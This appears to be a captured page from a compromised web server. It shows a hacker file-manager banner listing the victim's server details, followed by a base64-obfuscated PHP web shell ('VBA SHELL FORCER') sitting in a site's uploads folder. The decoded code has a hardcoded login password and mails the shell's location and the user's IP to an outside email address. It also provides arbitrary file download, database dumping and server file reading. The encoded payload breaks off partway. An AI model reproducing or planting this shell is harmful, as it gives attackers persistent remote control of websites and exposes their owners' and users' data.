| Server IP : 103.161.17.216 / Your IP : 216.73.216.1 Web Server : nginx/1.18.0 System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/thammyviendd.com/public/uploads/slider/ |
Upload File : |
<?php $a = 'Ci8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqXAp8KiAgICBWQkEgU0hFTEwgRk9SQ0VSIC0gVkVSU0lPTiAyLjEJKnwKfCogICAgIEVkaXQgJiBEZXZlbG9wIGJ5IFZCQVRFQU0gICAgICAgICp8CnwqICAJICBodHRwOi8vdmJhdGVhbS5uZXQgICAgCSAgICAqfAp8KiAgICA9PSAgSGFja2luZyAmIFNlY3VyaXR5ICA9PSAgICAgICAgKnwKXCoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovCgplcnJvcl9yZXBvcnRpbmcoNyk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cm9iX3N0YXJ0KCk7CiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7CiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07CmRlZmluZSgnU0FfUk9PVCcsIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgZGlybmFtZShfX0ZJTEVfXykpLicvJyk7Ci8vZGVmaW5lKCdJU19XSU4nLCBzdHJzdHIoUEhQX09TLCAnV0lOJykgPyAxIDogMCApOwpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7CmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7CmRlZmluZSgnSVNfR1BDJywgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSk7CiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOwpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IDEgOiAwICk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmZvcmVhY2goYXJyYXkoJ19HRVQnLCdfUE9TVCcpIGFzICRfcmVxdWVzdCkgewoJZm9yZWFjaCgkJF9yZXF1ZXN0IGFzICRfa2V5ID0+ICRfdmFsdWUpIHsKCQlpZiAoJF9rZXl7MH0gIT0gJ18nKSB7CgkJCWlmIChJU19HUEMpIHsKCQkJCSRfdmFsdWUgPSBzX2FycmF5KCRfdmFsdWUpOwoJCQl9CgkJCSQkX2tleSA9ICRfdmFsdWU7CgkJfQoJfQp9CgovKj09PT09PT09PT09PT09PT09ICBJbmZvIExvZ2luICA9PT09PT09PT09PT09PT09Ki8KJGFkbWluID0gYXJyYXkoKTsKJGFkbWluWydjaGVjayddID0gdHJ1ZTsKJGFkbWluWydwYXNzJ10gID0gJ2J5Zyc7IC8vIFBhc3N3b3JkIGxvZ2luCiRhZG1pblsnY29va2llcHJlJ10gPSAnJzsKJGFkbWluWydjb29raWVkb21haW4nXSA9ICcnOwokYWRtaW5bJ2Nvb2tpZXBhdGgnXSA9ICcvJzsKJGFkbWluWydjb29raWVsaWZlJ10gPSA4NjQwMDsKLyo9PT09PT09PT09PT09PT09PT09PT0gRW5kID09PT09PT09PT09PT09PT09PT09PSovCgppZiAoJGNoYXJzZXQgPT0gJ3V0ZjgnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7Cn0gZWxzZWlmICgkY2hhcnNldCA9PSAnYmlnNScpIHsKCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9YmlnNSIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2diaycpIHsKCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2JrIik7Cn0gZWxzZWlmICgkY2hhcnNldCA9PSAnbGF0aW4xJykgewoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0yIik7Cn0KCiRzZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gPyAkX1NFUlZFUlsnUEhQX1NFTEYnXSA6ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOwokdGltZXN0YW1wID0gdGltZSgpOwoKLyo9PT09PT09PT09PT09PT09PT09PT0gTG9naW4gPT09PT09PT09PT09PT09PT09PT09Ki8KaWYgKCRhY3Rpb24gPT0gImxvZ291dCIpIHsKCXNjb29raWUoJ3ZiYXBhc3MnLCAnJywgLTg2NDAwICogMzY1KTsKCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7VVJMPScuJHNlbGYuJyI+Jyk7CglwKCc8Ym9keSBiYWNrZ3JvdW5kPWJsYWNrPicpOwoJZXhpdDsKfQppZigkYWRtaW5bJ2NoZWNrJ10pIHsKCWlmICgkZG9pbmcgPT0gJ2xvZ2luJykgewoJCWlmICgkYWRtaW5bJ3Bhc3MnXSA9PSAkcGFzc3dvcmQpIHsKCQkJc2Nvb2tpZSgndmJhcGFzcycsICRwYXNzd29yZCk7CgovLyBGdW5jdGlvbiBtYWlsIFNlbmRlciB0byBteSBFbWFpbCAtIFBsZWFzZSByZW1vdmUgdGhpcyBiZWZvcmUgeW91IHVzaW5nIHRoaXMgc2hlbGwgY29kZSwgVGhhbmtzIC0gRmVybmFuZG8gLSBWQkFUZWFtCiR0aW1lX3NoZWxsID0gIiIuZGF0ZSgiZC9tL1kgLSBIOmk6cyIpLiIiOwokaXBfcmVtb3RlID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07CiRmcm9tX3NoZWxsY29kZSA9ICdzaGVsbEAnLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLicnOwokdG9fZW1haWwgPSAndmhiLnhpQHlhaG9vLmNvbSc7CiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7CiRsaW5rY3IgPSAiTGluazogIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7CiRoZWFkZXIgPSAiRnJvbTogJGZyb21fc2hlbGxjb2RlXHJcblJlcGx5LXRvOiAkZnJvbV9zaGVsbGNvZGUiOwpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7CgkJCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjI7VVJMPScuJHNlbGYuJyI+Jyk7CgkJCXAoJzxib2R5IGJnY29sb3I9YmxhY2s+CjxCUj48QlI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93IGZhY2U9dGFob21hIHNpemU9Mj5CWUcgLSBUaGUgTGVnZW5kIG9mIFZpZXRuYW1lc2UgSGFja2VyIFdvcmxkICAtIFBsZWFzZSB3YWl0Li4uPEJSPjxpbWcgc3JjPWh0dHA6Ly90My5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUkZJUXk5b0xjOWpNV21EWV9OX3N4aldQeXVzVVdDNGlnd0sybHFCbTY4YURHY1NmS1BQQT48L2Rpdj4nKTsKCQkJZXhpdDsKCQl9CgoJZWxzZQoJewoJJGVycl9tZXNzID0gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jMEUwRTBFIHdpZHRoPTEwMCUgaGVpZ2h0PTI0PjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXJlZCBmYWNlPXRhaG9tYSBzaXplPTI+PGJsaW5rPlBhc3N3b3JkIGluY29ycmVjdCwgUGxlYXNlIHRyeSBhZ2FpbiEhITwvYmxpbms+PEJSPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4nOwplY2hvICRlcnJfbWVzczsKCX19CglpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSkgewoJCWlmICgkX0NPT0tJRVsndmJhcGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7CgkJCWxvZ2lucGFnZSgpOwoJCX0KCX0gZWxzZSB7CgkJbG9naW5wYWdlKCk7Cgl9Cn0KLyo9PT09PT09PT09PT09PT09PT09PT0gTG9naW4gPT09PT09PT09PT09PT09PT09PT09Ki8KCiRlcnJtc2cgPSAnJzsKCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgewoJaWYgKElTX1BIUElORk8pIHsKCQlwaHBpbmZvKCk7Cgl9IGVsc2UgewoJCSRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOwoJfQp9CgoKaWYgKCRkb2luZyA9PSAnZG93bmZpbGUnICYmICR0aGVmaWxlKSB7CglpZiAoIUBmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsKCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOwoJfSBlbHNlIHsKCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkdGhlZmlsZSk7CgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsKCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCR0aGVmaWxlKSk7CgkJQHJlYWRmaWxlKCR0aGVmaWxlKTsKCQlleGl0OwoJfQp9CgoKaWYgKCRkb2luZyA9PSAnYmFja3VwbXlzcWwnICYmICEkc2F2ZWFzZmlsZSkgewoJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsKCSRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOwoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7CgkkbXlzcWxkYXRhID0gJyc7Cgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsKCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7CgkJfQoJfQoJbXlzcWxfY2xvc2UoKTsKCWV4aXQ7Cn0KCi8vIE15c3FsCmlmKCRkb2luZz09J215c3FsZG93bicpewoJaWYgKCEkZGJuYW1lKSB7CgkJJGVycm1zZyA9ICdQbGVhc2UgaW5wdXQgZGJuYW1lJzsKCX0gZWxzZSB7CgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCQlpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsKCQkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsKCQl9IGVsc2UgewoJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7CgkJCWlmKCEkcmVzdWx0KXsKCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsKCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfYW5nZWwgKGNvbnRlbnQgTE9OR0JMT0IgTk9UIE5VTEwpOyIpOwoJCQkJLy9Eb3dubG9hZCBTUUwKCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlzcWxkbGZpbGUpLiInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7CgkJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGNvbnRlbnQgZnJvbSB0bXBfYW5nZWwiKTsKCQkJCXEoIkRST1AgVEFCTEUgdG1wX2FuZ2VsIik7CgkJCX0KCQkJJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsKCQkJaWYgKCEkcm93KSB7CgkJCQkkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJy5teXNxbF9lcnJvcigpOwoJCQl9IGVsc2UgewoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsKCQkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7CgkJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOwoJCQkJZWNobyAkcm93WzBdOwoJCQkJZXhpdDsKCQkJfQoJCX0KCX0KfQoKPz4KPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCI+Cjx0aXRsZT48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnQllHIC0gVGhlIExlZ2VuZCBvZiBWaWV0bmFtZXNlIEhhY2tlciBXb3JsZCcpOz8+PC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keSx0ZHtmb250OiAxMHB0IFRhaG9tYTtjb2xvcjpncmF5O2xpbmUtaGVpZ2h0OiAxNnB4O30KCmEge2NvbG9yOiAjNzRBMjAyO3RleHQtZGVjb3JhdGlvbjpub25lO30KYTpob3Zlcntjb2xvcjogI2YwMDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30KLmFsdDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouYWx0MiB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojZjlmOWY5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9Ci5mb2N1cyB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMEUwRTBFO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9Ci5mb3V0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMEUwRTBFO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9Ci5mb3V0IHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbTowcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30KLmhlYWQgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzIwMjAyMDtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9Ci5oZWFkX3NtYWxsIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0Om5vcm1hbDtmb250LXNpemU6OHB0O30KLmhlYWQgdGQgc3Bhbntmb250LXdlaWdodDpub3JtYWw7fQpmb3Jte21hcmdpbjowO3BhZGRpbmc6MDt9Cmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhlaWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fQp1bC5pbmZvIGxpe21hcmdpbjowO2NvbG9yOiM0NDQ7bGluZS1oZWlnaHQ6MjRweDtoZWlnaHQ6MjRweDt9CnV7dGV4dC1kZWNvcmF0aW9uOiBub25lO2NvbG9yOiM3Nzc7ZmxvYXQ6bGVmdDtkaXNwbGF5OmJsb2NrO3dpZHRoOjE1MHB4O21hcmdpbi1yaWdodDoxMHB4O30KaW5wdXQsIHRleHRhcmVhLCBidXR0b24KewoJZm9udC1zaXplOiA5cHQ7Cgljb2xvcjogI2NjYzsKCWZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBzYW5zLXNlcmlmOwoJYmFja2dyb3VuZC1jb2xvcjogIzIwMjAyMDsKCWJvcmRlci1sZWZ0OiAxcHggc29saWQgIzc0QTIwMjsKCWJvcmRlci10b3A6IDFweCBzb2xpZCAjNzRBMjAyOwoJYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgIzc0QTIwMjsKCWJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjNzRBMjAyOwp9CnNlbGVjdAp7Cglmb250LXNpemU6IDhwdDsKCWZvbnQtd2VpZ2h0OiBub3JtYWw7Cgljb2xvcjogI2NjYzsKCWZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBzYW5zLXNlcmlmOwoJYmFja2dyb3VuZC1jb2xvcjogIzIwMjAyMDsKfQoKPC9zdHlsZT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBDaGVja0FsbChmb3JtKSB7Cglmb3IodmFyIGk9MDtpPGZvcm0uZWxlbWVudHMubGVuZ3RoO2krKykgewoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsKCQlpZiAoZS5uYW1lICE9ICdjaGthbGwnKQoJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7CiAgICB9Cn0KZnVuY3Rpb24gJChpZCkgewoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsKfQpmdW5jdGlvbiBnb2FjdGlvbihhY3QpewoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0OwoJJCgnZ29hY3Rpb24nKS5zdWJtaXQoKTsKfQo8L3NjcmlwdD4KPC9oZWFkPgo8Ym9keSBvbkxvYWQ9ImluaXQoKSIgc3R5bGU9Im1hcmdpbjowO3RhYmxlLWxheW91dDpmaXhlZDsgd29yZC1icmVhazpicmVhay1hbGwiIGJnY29sb3I9YmxhY2sgYmFja2dyb3VuZD1odHRwOi8vaTM4Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL29vMjYzL3ZuaGFja2VyL2JnLTEuanBnPgoKCjxkaXYgYm9yZGVyPSIwIiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1cHg7IHotaW5kZXg6IDE7IHRvcDogMzAwcHg7IGxlZnQ6IDA7IiBpZD0ibG9hZGluZyIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJjZW50ZXIiPgoJCQkJPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjExMHB4IiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBib3JkZXJjb2xvcj0iIzAwMzMwMCI+CgkJCQkJPHRyPgoJCQkJCQk8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPWNlbnRlcj4KCQkJCSA8ZGl2IGJvcmRlcj0iMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMwRTBFMEU7IGZpbHRlcjogYWxwaGEob3BhY2l0eT03MCk7IG9wYWNpdHk6IC43OyB3aWR0aDogMTEwcHg7IGhlaWdodDogMjVweDsgei1pbmRleDogMTsgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsiIGJvcmRlcmNvbG9yPSIjMDA2NjAwIiAgYWxpZ249ImNlbnRlciI+CgkJCQkgICBMb2FkaW5nPGltZyBzcmM9Imh0dHA6Ly9pMzgyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvb28yNjMvdm5oYWNrZXIvbG9hZGluZy5naWYiPgoJCQkJICA8L2Rpdj4KCQkJCTwvdGQ+CgkJCQkJPC90cj4KCQkJCTwvdGFibGU+CgkJCSA8L2Rpdj4KIDxzY3JpcHQ+CiB2YXIgbGQ9KGRvY3VtZW50LmFsbCk7CiAgdmFyIG5zND1kb2N1bWVudC5sYXllcnM7CiB2YXIgbnM2PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkJiYhZG9jdW1lbnQuYWxsOwogdmFyIGllND1kb2N1bWVudC5hbGw7CiAgaWYgKG5zNCkKIAlsZD1kb2N1bWVudC5sb2FkaW5nOwogZWxzZSBpZiAobnM2KQogCWxkPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2FkaW5nIikuc3R5bGU7CiBlbHNlIGlmIChpZTQpCiAJbGQ9ZG9jdW1lbnQuYWxsLmxvYWRpbmcuc3R5bGU7CiAgZnVuY3Rpb24gaW5pdCgpCiB7CiBpZihuczQpe2xkLnZpc2liaWxpdHk9ImhpZGRlbiI7fQogZWxzZSBpZiAobnM2fHxpZTQpIGxkLmRpc3BsYXk9Im5vbmUiOwogfQogPC9zY3JpcHQ+CgoKCgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KCTx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+CgkJPHRkICB3aWR0aD0xMDAlPgoJCTx0YWJsZSB3aWR0aD0xMDAlPjx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+PHRkICB3aWR0aD04NnB4PjxhIHRpdGxlPSJCWUcgLSBUaGUgTGVnZW5kIG9mIFZpZXRuYW1lc2UgSGFja2VyIFdvcmxkIiBocmVmPSI8P3BocCAkc2VsZjs/PiI+PGltZyBzcmM9aHR0cDovL2NCOC51cGFuaC5jb20vMTkuMC4yNDQ3NTg4Ny5MSGcwL2Jhbm5lci5naWYgaGVpZ2h0PTg2IGJvcmRlcj0wPjwvYT48L3RkPjx0ZD4KCQk8c3BhbiBzdHlsZT0iZmxvYXQ6bGVmdDsiPiA8P3BocCBlY2hvICJIb3N0bmFtZTogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gIHwgPGEgaHJlZj0iaHR0cDovL2JleWV1Z3JvdXAuY29tIiB0YXJnZXQ9Il9ibGFuayI+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ0JZRyAtIFRoZSBMZWdlbmQgb2YgVmlldG5hbWVzZSBIYWNrZXIgV29ybGQnKTs/PiA8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij48Zm9udCBjb2xvcj1yZWQ+TG9nb3V0PC9mb250PjwvYT48L3NwYW4+IDxiciAvPgoKCQk8P3BocAoJCSRjdXJsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7CgkJJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOwoJCSRtc3NxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKTsKCQkkcGdfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0Jyk7CgkJJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7CgplY2hvICgoJHNhZmVfbW9kZSk/KCJTYWZlX21vZDogPGI+PGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICIpOigiU2FmZV9tb2Q6IDxiPjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICIpKTsKZWNobyAiUEhQIHZlcnNpb246IDxiPiIuQHBocHZlcnNpb24oKS4iPC9iPiAtICI7CgkJZWNobyAiY1VSTDogIi4oKCRjdXJsX29uKT8oIjxiPjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiKTooIjxiPjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICIpKTsKCQllY2hvICJNeVNRTDogPGI+IjsKJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOwppZigkbXlzcWxfb24pewplY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIjsgfQplY2hvICJNU1NRTDogPGI+IjsKJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOwppZigkbXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7fQplY2hvICJQb3N0Z3JlU1FMOiA8Yj4iOwokcGdfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0Jyk7CmlmKCRwZ19vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIjt9CmVjaG8gIk9yYWNsZTogPGI+IjsKJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7CmlmKCRvcmFfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPjxCUj4iO30KCmVjaG8gIkRpc2FibGUgZnVuY3Rpb25zIDogPGI+IjsKaWYoJyc9PSgkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5OT05FPC9mb250PjwvYj48QlI+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGRmPC9mb250PjwvYj48QlI+Ijt9CgplY2hvICI8Zm9udCBjb2xvcj13aGl0ZT5VbmFtZSAtYTwvZm9udD46ICIuQHN1YnN0cihAcGhwX3VuYW1lKCksMCwxMjApLiI8YnI+IjsKZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+U2VydmVyPC9mb250PjogIi5Ac3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiIgLSA8Zm9udCBjb2xvcj13aGl0ZT5pZDwvZm9udD46ICIuQGdldG15dWlkKCkuIigiLkBnZXRfY3VycmVudF91c2VyKCkuIikgLSB1aWQ9Ii5